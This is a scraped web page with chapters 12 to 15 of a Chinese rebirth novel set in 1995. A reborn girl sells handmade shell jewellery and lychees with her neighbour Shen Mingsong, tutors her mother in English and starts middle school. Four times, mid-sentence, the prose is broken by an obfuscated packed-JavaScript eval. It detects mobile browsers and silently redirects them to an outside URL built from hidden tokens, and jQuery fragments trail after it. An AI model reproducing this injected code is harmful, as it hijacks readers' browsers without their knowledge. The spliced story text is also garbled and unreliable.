沈明松这小子闷闷的,心里指不定知道多少,不确定之前他是不会说这种话的。 林海简单和他聊了一会儿,让他有空找个地方再详谈、大街不是说话的地方。 凉粉摊子距离太远,等宋尔雅回来林海已经走了,沈明松手中多了一个巴掌大的东西。 “这是什么?”宋尔雅问。 “随身听。”沈明松把磁带装进去按了几下,歌曲前奏缓缓播放出来。 宋尔雅一听就听出来是一首很经典的老歌。 大哥大,bb机,随身听都属于这个时代的电子产品,虽随着时代更新换代直到后面完全被淘汰了,却也承载着不少人的记忆。 沈明松是个很怀旧的人,沈家就有一间房就放了很多旧物件,旧书籍,旧电脑,旧摄像机…… 有时她都怀疑沈明松骑着三轮干过旧物回收送脸盆的活,不然哪来那么多旧电子产品。 那时沈明松家产已经累积得肆意挥霍都花不完程度,事业心都淡了下来,时常闲暇在家,他经常会在那间房里待上很久。 有次宋尔雅好奇进入房间,里面并没有什么奇特之处,东西也不是什么值钱玩意,却也被保存完好地摆放才陈列柜里。 它们之所以珍贵,是因为沉淀着沈明松年轻过往,她拿出一盒胶带放进录音机里,按了下,居然没坏。 播放的自然是老歌。 她在房间的沙发上待了一下午,听得睡着了,醒来时天色已黑,房间亮起暗淡光,来源于桌面那台绿色复古的台灯,不仅如此,沈明松还坐在她边上。 她脑袋枕着他大腿,睡得迷迷瞪瞪,一睁眼就是上方那张融在暮色中轮廓分明的脸。 她觉得神奇,自己好多次睡醒来,沈明松都安静地待在她旁边,他也不做什么。 他没发现宋尔雅已经醒了,听着年代久远的歌声出了神,心绪被裹挟进了旧日幻影中。 她坐起来发出的声响惊破一切旧梦,沈明松双腿轻微地动了一下,手指轻轻拨开额前碎发:“醒了,尔尔怎么在这里睡着了?” 宋尔雅揉揉眼睛坐起来:“叔叔,你刚刚在想什么?” 沈明松双眼晦暗不明,让他略显阴郁:“没什么。” 她凑近他脸四目相视:“可是你看起来很伤心呢,是想起了什么难过的事情吗?” 他眨了一下眼,眼睛微微弯起来笑了:“有吗?” 宋尔雅心想可能是自己错觉吧,她把那台录音机要了过来。 后面她在网上二手市场淘到了许多老胶带,每一盒塞进去都像是在开盲盒,根本猜不到里面会播放什么内容,她觉得这样很有意思。 很多歌在网上都有资源,但音质和在录音机里的又不一样。 录音机里带着旧时代的情怀,让她觉得沈明松留在过去中,和那台录音机一样老旧。 正在播放音乐嘎然而止,也将宋尔雅的思绪也拉了回来, “怎么关了?” 沈明松牙疼:“太酸了。” 一块钱两碗凉粉,两人蹲路边吃她才张嘴吃了两口,旁边的人碗都空了。 沈明松吃东西速度迅速如野兽。 宋尔雅吃完后把用完的一次性碗装塑料袋里等会儿去丢垃圾,又从书包拿出手工品往自己身上装饰。 “哥哥,你帮我戴上。”她把一串贝壳往沈明松手里塞,她自己看不到项链扣扣上。 沈明松脸色古怪,没搭理她。 “快点呀。”她推了一下他手臂,他才动起来,嘴里嫌弃她真是麻烦。 沈明松低着头,睫毛都垂下来遮住眼底神色,尽管很小心了手指还是不可避免地触碰到了女孩脖子上皮肤,不由颤了颤。 这小孩脖子太细了,似乎他用力一点都能掐死。 他在她发顶上闻到很香的味道,说不出来是什么东西,以前没闻到过,很清爽。 戴好项链后,沈明松身子立马后撤。 宋尔雅自己整理摆正,余光无意瞥见缓缓走过来的少女。 少女撑着伞,面容姣好,她笑眯眯地来到两人面前:“沈明松,这是你妹妹吗?” 沈明松懒洋洋地点头。 少女和宋尔雅打招呼,介绍了自己名字,明秋月。 明秋月的注意移回沈明松身上:“你怎么没去上次的毕业聚会啊,班里都问你呢?” 沈明松:“没空。” 明秋月继续开口:“你收到德育高中录取通知书了吗?” “嗯。” “我就知道。”明秋月开心起来,“我也收到了,不知道我们还能不能分到一个班呢?” 沈明松:“不清楚。” 明秋月似乎习惯了他的冷淡,仍旧兴致勃勃和他说了些话,无非就是关于即将要升去高中读书的新奇。 沈明松回答言简意赅,直到明秋月问起他手里随身听,他才把东西递过去,明秋月似乎很喜欢要和他买。 沈明松皱眉:“这是杂牌。” 明秋月笑容灿烂,表示自己不介意:“没事,我就要这个,开学找你来拿。” 明秋月一看就是富裕家庭里养出来少女,身上穿绿色长裙,衬得更加肤白貌美,在长相方面上宋尔雅和她没什么相似之处,但身形很像。 直到她离去,宋尔雅都在盯着她。 沈明松扯扯她发尾:“发什么呆呢。” 宋尔雅说:“那个姐姐的裙子,真漂亮。” 等明秋月走远了模糊了,更像照片里的少女了。 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510439|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明松对裙子可没什么兴趣,在她去扔垃圾前轻轻拍了一下她脑袋:“别乱跑,丢了我不担责任。” “你还敢把我弄丢?” “再啰说一句把你卖了。” 宋尔雅对他的人品是相当信任的,既然带了她出门,就会负责到底,她也不会走太远,就在附近找顾客目标。 沈明松抽空就看她一眼,视线就像一根风筝线一样,栓着她不让跑远了。 她带着几样手工品往年轻人多的地方去,很快就有个穿着鲜艳的年轻女人和她说话。 “小妹妹几岁了,这么小就出来做生意?” 宋尔雅见人就笑:“我十四岁了。” 每个人都误以为她很小,看来她要多吃饭长高了。 她今天穿得漂亮,也会说漂亮话,夸姐姐长得真好看,脖子又细又长的像白天鹅,忽悠得人家真要了一条项链。 宋尔雅还热情地要帮她戴上,嘴里好话不断:“姐姐身上香香的。” 哄得女人心花怒放,她忍不住又多买了几串,还捏了捏她脸蛋才离开。 珠宝商人沦落为街头小摊贩,是落魄吗,不,这叫环境塑造强者。 宋尔雅挑着顾客上前搭话,大胆,嘴巴甜,没多少功夫就把手里拿的卖出去了,又转回三轮车的小书包里拿新的,把刚得来的钱洋洋得意展示给沈明松看:“我就说,我肯定能卖出去。” 沈明松不屑:“你对谁都撒娇吗?“ “我什么时候撒娇了?”宋尔雅满脸奇怪,不过自己确实也有装可爱的嫌疑,她说,“这叫生意经你懂不懂?” 叫人说人话,见鬼说鬼话,哪个女生不喜欢被人被美美夸? 沈明松睨她:“小心给人贩子抱走。” “这不是有哥哥在嘛。”她拍马屁。 她这一开张,接下来就不难了,虽然也有人面对她的推销让她滚远点,她也不纠缠,她也是挑顾客的,情况不对就跑,看见外国人就抱着试试的心态上去问好。 这时候大多数人还都是文盲,会英语的少,敢开口的就更少,宋尔雅上辈子可吃了不少读书的苦。 宋芳自己没念过什么书,就拼命地在她身上找补,一个又一个补习班、钢琴、美术、外语……能报的给她报,赚的钱都用来培养她了。 不过她艺术上没什么天赋,绘画也是画画二次元,不喜欢写实派,语言上倒是天赋异禀。 英语不用说,她还学过德语和西班牙语。 她和老外交流顺利,交易也顺利。 有个金发女人还向她询问有没有什么本地特色产品可以买,这个她就不知道的,她壳子下也不是本地人。 但她会忽悠,眼珠子一转就是个鬼主意,说有一种可爱的水果可以买。 “cute?”金发女人第一次听见用可爱来形容水果的,心里新奇。 “ascuteasme."(和我一样可爱。) 金发女人因为她的自卖自夸笑了起来,非要见见到底有多可爱,宋尔雅就把人骗到沈明松面前了,给他介绍荔枝品种、产地、口感,多买多优惠。 荔枝鲜红饱满似盏小灯笼,果肉又是如羊脂透亮,价格也便宜,金发女人的国家没见过这种水果,尝了一个,觉得小女孩没用错词形容,确实又甜又可爱,买了一大袋拎走。 “看!看!”等金发女人走后,宋尔雅将手中的钱再次展开炫耀,那人大方,居然还额外给了她十美元小费,能去银行换五十多块钱。 95年的五十多块钱,顶大部分人几天的工资了。 沈明松看她的眼神都变了:"你英文很好?” 宋尔雅一顿。 13. 第 13 章 英语虽然已经列为义务教育主科,但国内目前的教学水平还未跟得上,不是所有老师都会,年长一些的老师连普通话也夹着口音,能把英语说好的一般是有钱人家的孩子,在学校外面专门请人来教的。 “这个,额……这个嘛……” 宋尔雅摸摸脑袋,一时突然不知道怎么解释,小学六年级的英语也没教到她这个水平。 实在不行她就说她是天才,无师自通。 沈明松没有兴趣深究下去,他视线越过她从人流中扫过,不知道在想什么。 宋尔雅今天来是试水的,也没想赚到大钱,但一天下来之后,她将手中的钱数了数,还是出乎意料了,居然有一百多,主要大头还是那张十美元小费。 宋尔雅不禁感慨:“我真厉害。” 沈明松偏过头,仿佛看见她身后高高翘起的尾巴。 他是头一回见到这么自信膨胀的小姑娘,颈间的贝壳项链流转五彩斑斓的浅浅光晕,如同一只打了胜仗的狸花那般骄傲。 宋尔雅将钱分了一半给沈明松让他带回去给明阿姨,他把十美元叠好给她,表示这部分独属于她,重新再分过。 宋尔雅还是觉得自己赚了,虽然贝壳石头都不要成本,沈明松去海边捡捡就有。但那也是明阿姨的手工和设计,沈明松也给自己当了一天司机,虽然骑的是三轮。 她都不好意思了:“哥哥我请你饭吧?” “加根冰棒。” 沈明松不和她客气,在小店里吃了份面后,一人一根冰棍叼在嘴里,是色素的味道,冰冰凉凉入嘴后消解大半暑气。 两人一起回家,有段路旁边是工地,车轮子碾过扬起尘土,沈明松以往总是匆匆赶路,今个因为多个人的缘故,耳边聒噪个不停。 “哥哥,下次还带我来吧。” “滚。” “我今天不够乖吗?我都没有乱跑过一次。” “吵死了,闭嘴。” “我哪里有很吵。”宋尔雅舔掉快融化流到手中的冰棍,心有点虚,她也看出来沈明松确实不喜她闹腾,但不让她说话比死了还难受。 “那我尽量少说话。” 过了才没多久她就按耐不住了,看着沈明松被汗水洇湿的后背,小嘴又开始叭叭:“哥哥你热不热? 她手里捡有张纸箱皮,大力地给两人扇风。 沈明松嚼碎嘴里绿豆味的冰块,单手骑着三轮车,抽空抬头看了一眼晴空万里,云絮被揉碎一般漂浮。 烈日居然变得柔和起来,不可思议。 荔枝卖了一个星期才卖完,宋尔雅也整整缠了他一周,人被酷暑折磨成一条咸鱼干,每天都要喝好多水,非常想跳海里游一圈。 宋芳得知她是和沈明松一起出去的,表示很放心,给她一盒乳白的东西让她擦脸别晒伤了,宋尔雅没感觉出有什么效果。 不过她家基因里带白,就连宋国梁都是白白胖胖,几天下来压根就没晒黑,就是脸被晒疼了,红通通的,被热气灼过一样。 值得一提的是,她这身体越折腾反而越健康,比刚穿来那会儿病怏怏,现在能跑能跳。 大概是每顿饭都吃得很多,她肉眼可见的长高了。 她很多年没体会过这么健康的状态了,恨不得把浑身精力统统发泄出来。 但她来了第一次生理期,很痛,腰也酸背也疼,脸色疼成一张白纸,沈明松以为给她折腾出毛病了,说什么也不愿意再带她出门。 赚钱计划被终止了,不过随着暑假慢慢过去,游客也在减少,也没什么可赚的。 只能说穷人赚钱真的好难哦。 沈明松倒是很会赚钱,每天跟犁地老黄牛一样能干,卖完荔枝又回去当渔民,渔民休息时,他还天天往外跑。 宋尔雅不清楚他究竟业务有多广泛,也不知还要经历多少磨难才能变成后面人人尊敬的沈先生。 都这样子了,他还抽空去砍了竹子回来,劈成竹片用铁钉敲敲打打一番,弄了个鸡笼放她家院墙角。 宋尔雅在边上抱着纸箱挨个给她的小-鸡仔们取名,大黄,二黄,三黄…… 沈明松一走过来,所有黄在箱子里惊恐的叽叽乱叫。 “宋瑶。” “嗯?”宋尔雅蹲地上仰头看他。 沈明松丢给了她一枚他家大门钥匙,“你别挤我家栏杆了。” 那栏杆都快被她挤变形了。 “哦哦。”宋尔雅尴尬地笑,心说还不是你成天把大门锁着,她想找明阿姨玩只能靠钻的了。 她站起来拿过钥匙放兜里,谁知那口袋破了个大洞,“叮当”一声掉地面上了。 她今天穿的是宋国梁旧衣服改过的,远没有她那条红色背带裙好看,可她也就那两件裙子体面,她只有出门做“生意”才会穿。 她可不想穿得破破烂烂地去做生意,省得人家看见了都躲。 沈明松眉毛微蹙,捡起钥匙重新给她:“我今晚跟陶叔他们出海,这次估计要去半个月,你跟芳姐说一声。” 他有事出远门时,都由宋芳帮忙照看明珠。 宋尔雅点头,想了想她又说:“那哥哥你一定要注意安全。” 沈明松多看她两眼,点了一下头。 等宋芳回来后她说了这件事,宋芳去了一趟隔壁院子说了会儿话。 过两天发了工资,宋芳就买了布料回来给宋尔雅做新衣服。 一件衣服成品要几十块钱,家里实在太穷了拿不出来,宋芳尽量按照现下时髦的款式去做,缝纫机被她踩得起飞。 宋尔雅看着她在灯光下的背影,恍惚回到了小时候妈妈问她喜欢粉裙子还是绿裙子,她还在犹豫不决中,宋芳干脆两件都买下了。 她并不是个什么乖小孩,又吵又闹又黏人,后面生病了更是爱哭,哭着说不要剃光头,不要做骨穿腰穿,不要死,吃个药都要哄。 可她身体承受病痛的时候,落到母亲那里是双倍,她无论如何都没想到,宋芳会比她先一步离世。 她难过得每晚都在哭,睡不着也不想睁眼面对现实,没人知道她在装睡,深夜中感觉有人在替她擦泪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510440|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗糙的指腹磨得她眼尾发疼。 比宋芳的手都要糙。 ~ 没有电脑没有手机,日子显得漫长,宋尔雅不是真十四岁,跟着江铃他们去玩了几次后就没什么兴趣。 沈小年因为之前的事老针对她不想带她玩,她便不去了。 臭小孩,谁稀罕和他们玩。 陶冬冬因为暑假作业一片空白而被她妈妈锁在家里出不来。 沈明松不在家里,宋尔雅每天给明珠担任煎药一责,她和明奶奶生活了几年,能分得清她中药包里的各种药材,也知道怎么弄,要熬多久。 弄好之后在明珠房间吹着风扇给她推按摩。 起初明珠还不愿意让她看到腿上切口狰狞伤痕。宋尔雅缠了几次,明珠拿她没办法了。 按摩过后又陪她一起午睡,年轻的明珠身上是草药香,而明奶奶是衰老的腐朽味。 这样的生活舒适安逸,等宋芳休息在家时,她就开始折腾人。 宋芳上一世就是在一家外贸公司工作做高管,如果不是有父亲和宋国梁拖累,她多少也能当个中产家庭的独生女。 因为她吃过苦,就在学校方面尤为看重,补习班给女儿报个没完,计划着以后要送她出国留学。 然后时光逆转,宋芳的付出在1995年得到了回馈,宋尔雅对她实行报复,她逼着宋芳去学英语,有得是力气和手段。 宋芳基础差,宋尔雅给她量身定制学习计划,决定从发音开始,后再慢慢教她认单词,一有空缠着她。 宋芳苦不堪言,宁愿面对刁蛮顾客也不想听她说鸟语。 “你就饶了你姐吧。”她也不知道妹妹哪根筋搭错了,每天新来就和她叽里咕噜打招呼,晚上都要趴她耳边喋喋不休。 宋尔雅痛心疾首:“姐姐,难道你想一辈子在这里卖衣服吗?” 宋芳当然不想,可这和学英语有什么关系。 “我们这儿越来越多外国人来旅游了,如果哪天有人来你这买衣服,你要装哑巴吗?” 宋芳一愣。 宋尔雅继续说:“还记得我那天给姐姐的十美元吗,如果我没有选择上去和那个老外说话,我也不可能得到那十美元的。”虽然不是每个老外都会给小费的。 谈到钱宋芳的心狠狠动摇了,妹妹拿出那十美元时她是真的被吓到了,还以为她被人骗了,结果去银行还真能兑换出来,顶过她卖多少衣服了。 “外企工资很高的。” 宋家姑姑如今就是在大城市外企上班,年年给老太太寄钱,老太太见人就夸这闺女出息。 一提这个,宋芳不抗拒了。 宋芳本就不是瞻前顾后的人,她如今也才二十岁,朝气全都在脸上。 宋尔雅顺利劝学成功,她不知道自己究竟能改变多少妈妈的命运,如果她按照原轨迹继续进了外企工作,学门外语对她还是有好处的。 加上明珠也是大学毕业当过高中教师的,三人凑在一起做着家务做着手工,日子也就溜走了,无波无澜,苦难似乎也不会来。 14. 第 14 章 等差不多半个月过去后,沈明松赶在开学前一天回来,去了趟银行把家里最后一笔债务还了。 陶叔问他要来还款凭证举高对着阳光,看见上面已结清的字眼,紧绷的脸缓和下来:“好小子,真行。” 当初沈家出事,他家就剩一个行动不便的明珠和十二岁的沈明松,以及那笔借来买船的巨款债务,母子两属实过得艰苦难以偿还债务。 陶叔作为借款担保人,银行自然将责任转移到他身上。 沈明松转而找到他跪下磕头,沉稳而执着地表示自己会承担起父亲留下来的债务,只希望能跟随他的船队。 陶叔思考一夜,只是叹气。这是无可奈何的,就算没有那些债务,沈明松也需要撑起那个家,咽下命运给予的苦楚。 他同意了让一个只有十二岁的孩子进了船队。 如今这些债务终于还清了,陶叔也不禁佩服这小子的坚韧,以后定是能干大事的主。 他拍拍沈明松肩膀:“之后有什么打算?” 沈明松仰头望望天,身上的担子卸去并没让他轻松一点,未来依旧是糟糕的,他偶尔也会流露出迷茫。 “我想去看看我爸。”沈明松说。 在去买香烛纸钱的路上经过服装店,一件绿色长裙映入眼帘,它穿在假模特身上摆在门面外,被风扬裙摆外那一层薄薄纱网。 他回到家后,没见明珠身影,他丢开手中东西出门寻人,宋芳抓着把豆角从院子里追出来让他别急,说她妹妹和明珠去环海路看日落去。 沈明松停住脚步,自父亲死在海上,母亲已经很久没出门去看过海了。 所以那小孩给到底给她灌了什么迷魂汤? 环海路通往学校,离家没多远,道路被修得平整,轮椅行驶过也没有多大阻力,旁边还有草地,一到黄昏就很热闹,有年轻人凑一起唱歌跳舞。 宋尔雅推着明珠沿路边走,感受海风拂面。 明珠说:“以前你沈叔叔也经常带我来这。” 宋瑶记忆里那个叔叔很和善,宋尔雅想不出要说什么,能让明珠怀念的,应该是个好丈夫,他们肯定相爱。 明珠看着海缅怀和亡夫的过去,她很识趣没有打断她的回忆,看她眉间萦绕淡淡忧愁。 沈明松遗传了明珠那双眼晴,乌黑长睫下是潋滟的黑瞳,看人总显深情,实际他盯着人看大多带着侵略性和攻击性。 宋尔雅仰头去看三十年前的日落,晚霞融在海面中,潮声不歇,海鸥四散,天空流光溢彩映她的侧脸。 她藏在傍晚中,也落进沈明松眼睛里。 沈明松在日落最美的时候找到两人身影。 他常年坐在船上,没空抬头去欣赏清晨的朝阳,傍晚的红霞,垂眸看到是将”启明号”卷入海底的巨浪,海风拂过带来死鱼腥臭,却在此时心脏同海浪涌动。 他不能理解这种涌动。 宋尔雅模仿拍照用双手框出形状看风景,心想如果有相机就好了,她一回头看到路的那头,沈明松在缓缓靠近。 “哥哥。” 她小跑过去,高马尾荡漾在温柔海风中,脸上挂着笑容艳如渐渐消失地余晖。 沈明松忽然觉得,生活也不是一直灰暗的,他在这一瞬看到了明艳的彩色。 他陪着两人一同看完日落,回到家就把白天买的东西给她。 “这是什么?”宋尔雅疑惑地把袋子里的东西拿出来,是一条绿色的裙子,外面有一层薄纱,流光隐隐,看起来不便宜。 她歪头:“给我的,为什么?” 沈明松不知作何解释,也不理解自己为什么突然心血来潮地给买下来了,他很别扭:“我妈让买给你的。” 宋尔雅将裙子里拎起来看,已经是最小码了,还是长了一大截,她穿起来得拖地。 “我不喜欢这个。”她说。 “不是你自己说漂亮的吗?”这是沈明松第一次给女孩买衣服就遭了嫌弃,他脸色都变了,拿着裙子看看,又移过来看她。 她家族里应该有人是少数民族,长相很有特色,鼻子翘挺,眼窝深邃,浓密睫毛下的瞳孔是淡淡的琥珀色,肤色在到处乱跑乱跳中被阳光晒出淡淡的红晕。 海边长大的孩子中很少有这种雪一般的白皮肤,等再长大一点会吸引很多目光。 店员说这款裙子卖得最好,小姑娘都喜欢,穿起来清爽又亮眼。 宋尔雅说:“我什么时候说过?” 沈明松乌黑眉毛拧起,少年老成带着中式家长味道:“买都买了,退不了。” “我不喜欢。” 沈明松将裙子丢她脑袋上,嘴里凶巴巴地威胁道:“别想浪费我的钱,敢丢掉就揍死你。” 脑子抽了才给她买裙子,又不是他亲妹。 等宋尔雅掀开遮住视野的裙摆,沈明松已经离开了,背影带风,还挺生气的。她拎着裙子重新审视,是经典背心款式,腰间系着白丝带,裙摆很长,个子不高驾驭不住。 她脑海浮现明秋月身影,这裙子像是她才能穿得下的。 而她,现在还是个矮冬瓜。 ~ 夏季以一场暴雨结束,九月一日开学了。 宋尔雅暑假赚到的钱足够交自己的学费,况且初中学费也没多少。 宋国梁过来问宋芳要钱,宋芳还是没有彻底放下他不管,一边念着自己工资才多少,一边要他们好好念书。 宋国梁留级在初三,听得很不耐烦,又和宋芳吵起来,宋芳直接不管他了,爱问谁要钱问谁去。 离家最近的学校初中和高中合并一起,叫月牙湾中学,读完直接升上去就可以了。 沈明松去的德育高中在长林路,得坐公交车去,虽不是市里最好的高中,但教学质量也非常不错,还不用住校,方便他每天回来照看母亲。 因为和宋芳上班路线不同,宋尔雅和陶冬冬江玲一起走路去,江铃和她手拉着手,情不自禁地去摸她腰间上的蝴蝶结羡慕道:“宋瑶,你的新裙子好漂亮。” 宋尔雅身后有小尾巴在翘:“那当然,我姐姐给我做的。” 宋芳手巧,又是卖衣服的见过众多款式,依样画葫芦也差不到哪里去。 之前愿意穿宋国梁不要的衣服,不代表宋尔雅不臭美,有新衣服穿后她天天穿出去嘚瑟,就是没穿过那件绿裙子。 她还不够高,无法撑起来。 她们走过环海路的公交站,沈明松在上车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510441|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前望了一眼过来。 陶冬冬眼睛最尖,甩甩手里捡来的笔直棍子抽路边野草:“刚刚沈明松是不是瞪了我们一眼。” “没有吧?”江铃摇头,“我们又没得罪他。” 宋尔雅没有说话,很确定那一眼是瞪她的。 莫名其妙。 再次回到学校念书宋尔雅简直欲哭无泪,她读书路坎坷,反反复复念了那么多年的书,最终还是回到了初中。 陶冬冬念初二,江铃没和自己分到一个班,开学第一课是自我介绍和认识新同学,不过好一些都是同一个小学的,很快就打成一片。 同桌是个比她还矮的男生,幼稚地在老旧的课桌上划出三八线。 宋尔雅都懒得和他说话,发下来的新课本带着浓重的墨油味,里面的图文是灰白的,教材是陌生的,不过知识都差不了多少,不至于她以前的书都白读。 初中这个年纪有着强烈的割裂感,一边是和她分三八线的幼稚小鬼,一边是教室后排的几个混混少年,在课间时竟然抽起了烟,轻挑地冲女生吹口哨。 语文老师是刚大学毕业分配过来的实习生,经常被他们气到脸皮子发红,又无可奈何。 上高中后,沈明松时间不够用了,他做供应商把那批价格低廉的随身听给别人,让别人去代销,自己白天上课,放学后去林海那里看场子。 林海是那一带的地头蛇,开了好些店吧,还开了“金达”那栋包含所有娱乐场所的大楼,年轻男女成天都爱去那里混。 沈明松很晚才会回来,他给宋芳交钱的,两家并到一起吃饭,伙食反而还好多了。 毕竟再苦再难都不能苦了嘴巴,少年正是长身体的时候,沈明松总吃不够,额外加了好些伙食费。 宋尔雅数着他吃下了第五碗米饭,眼睛瞪大:“哥哥你多高了?” 他现在肯定不止一米八了,每次进门都要弯一下腰,修长的身躯像一棵笔直的松树。 饭后她找来卷尺给自己量了一下,才一米五出头,沈明松偏头看见发出无情嗤笑。 宋尔雅自己身体身高定型后也长到一米□□,可站在沈明松面前也显得娇小,他除了高之外还有壮,和健身房那些养出来的夸张身材不同,他一看就是常年干体力活养出来的精壮。 宋尔雅拿眼睛瞪他,沈明松才收回笑声安慰她:“一米五也很高了。” “是一米五三!” 沈明松笑而不语。 ~ 宋尔雅性格外向,没多久就认识许多新朋友,在初中开起了课间小卖部,书包里装着零食。 宋芳经常帮奶奶家小卖铺进货,能用批发价弄来很多零食和小玩具,但她很担心宋尔雅掉钱眼里了就不好好学习。 宋尔雅直接把除了语文全科满分的试卷堵住了她,宋芳眉开眼笑,签名时都觉得轻飘飘的,认为家里以后要出个大学生了。 课间就十分钟,去小卖部要跑一个操场距离,玩都来不及,没她这方便,同学但挺乐意来她这里买些零嘴的。 就是后排那几个坏小子时不时就来问她有没有火柴。 她嘴皮子抽抽,有也不做他们生意,成天在教室后面吞云吐雾让她吸二手烟,没素质。 15. 第 15 章 月牙湾中学教育不怎么样,也管不住这些学生,只等着学生混个三年,该上高中上高中,去技校去技校,或者中途退学也行。 坏小子手指夹着烟围着她桌子边不肯走,嬉皮笑脸的:“小老板,赊一下呗,明天哥几个肯定把钱给你。” 但凡换个脸皮薄又胆小的女生,估计得被这架势吓哭了。 宋尔雅冷着脸:“滚蛋!” 杨凡过来踢了兄弟一脚,骂着滚滚滚把人赶到后排去了,走前冲她挑了挑眉。 宋尔雅赶紧偏过头。 后排的林菲菲在她这要了一盒彩色方块纸,悄悄在她耳边笑嘻嘻:“杨凡还挺帅的呢。” 宋尔雅不做评价。 杨凡也是后排其中之一,多少也是个老大了,班主任见自己管不住他们,就让杨凡当班长让他来管,效果良好。 他个子高,带着痞气,班上好几个女生情窦初开,看见他偷偷脸红,从宋尔雅这里买下彩色纸写去懵懂心事,折成千纸鹤往窗外飞出去。 周一升旗仪式上教导主任狠狠批评了高空丢垃圾行为,要是抓到就罚人打扫厕所一个星期。 千纸鹤不扔之后,宋尔雅又弄来彩色吸管让他们折成星星放进玻璃罐子里送人,女孩子的钱是有些好赚的。 周末林菲菲一定要约她出去玩,德育高中附近那条步行街多了很多新奇的东西,什么溜冰场,游戏厅都开了起来,勾着学生的心都躁动起来。 林菲菲同她坐公交车去,她带了一台随身听,说自己在德育校门口以很优惠的价格买的,分了一只耳机给她。 这年代有台这玩意在同学之间尾巴都能翘上天去了,简直是时尚单品。 沈明松在知道宋芳在学英语后给了她一台,说是样机卖不出去。 宋芳随身携带着,下班路上戴着一只耳机骑车听着英语短句回来,做饭听,睡前也在听,慢慢地她也开始学着开口念,宋尔雅争取和她多对话,环境学习才是最快的。 公交车到站,下车就是步行街,林菲菲关掉随身听往人多的地方张望:“好像有人在唱歌。” 三十年前的人生活节奏缓慢,没后世那般繁重压抑,每个人抬着头走路,一点动静就好奇地跑去围观。 巨大的榕树树荫下汇聚人群,目光焦点落到美丽少女身上。 明秋月今天穿的是白裙子,青春俏皮,抱着吉他用甜美歌声弹唱,迷得身边几个少年眼睛都看直了。 沈明松坐在他的三轮车上,别人赶时髦穿着皮鞋喇叭裤,他还在穿他那该死的大裤衩拖鞋,短袖衬衫敞开着,里面还搭了件背心。 少女的歌声为他吸引了人流,人流中总会有人心动看上了他们宣传的随身听,国产的,几十元到几百元的都有,咬咬牙也能买下来,一个个围在三轮车挑选起来。 林菲菲满脸艳羡的盯着明秋月:“她好勇敢。” 大多数女生少女时期时多愁善感,害羞内敛,不敢和陌生人多说一句话,像明秋月这种敢于在街头展示才华的确实少见。 宋尔雅知道,沈明松就是喜欢自信张扬的那一款的,因为他就是这样教她长大的。 有几个男生挤着人堆过来,将两人围住,带头的杨凡开口:“宋瑶,林菲菲,你们也在这玩啊?” 林菲菲脸一下红了,说话都结巴了:“是、是啊,你们也在呢。” “那好,要不要和我们一起去溜冰?” 宋尔雅刚要拒绝,林菲菲就忙不迭地点头:“真的吗?” 她扯了一下林菲菲,轻轻摇头。 可是林菲菲什么都没察觉出来,还拉着她的手要跟着男生一起走。 宋尔雅抽回手:“不要去。” 扬帆手伸过来帮着林菲菲一起扯她胳膊:“都一个班的别这么不给面子。” 沈明松仰头喝水,水壶里的水跟着气温升高,只能解渴,明秋月给他买了一瓶可乐,玻璃瓶身还有冷气凝聚而成的水珠,看起来就很解暑。 沈明松拒绝。 明秋月有些不满:“只是一瓶汽水而已。” “给我吧月月,我爱喝这玩意。”陆年赶紧拿过可乐去替她解围,“松哥不会要女孩子东西的……” 明秋月好笑:“这么矫情。” 沈明松突然将水壶摔在地上,吓几人一跳。 “怎么了?” 陆年话音未落,就见沈明松要追什么人一般往一个方向走去,手下意识按在后腰间上。 “这是出什么事了?”陆年紧张起来。 一起的少年说:“陆年快跟过去看看,我留在这里看东西。” 陆年说好,赶紧也追了上去,他们都知道沈明松常年带着一把扳手,却很少会拿出来用,除非迫不得已的时候用来防身,带刀容易被公安抓走。 …… 溜冰场像地下停车场,天花板上挂着廉价彩灯,劣质音响放着摇滚音乐,灯光闪得人眼花缭乱。 人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510442|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多很热闹,在没有手机的年代这娱乐方式很受热闹,里面挤满了人,那男女女老鹰抓小鸡那样排队拉着衣服滑行在场地上。 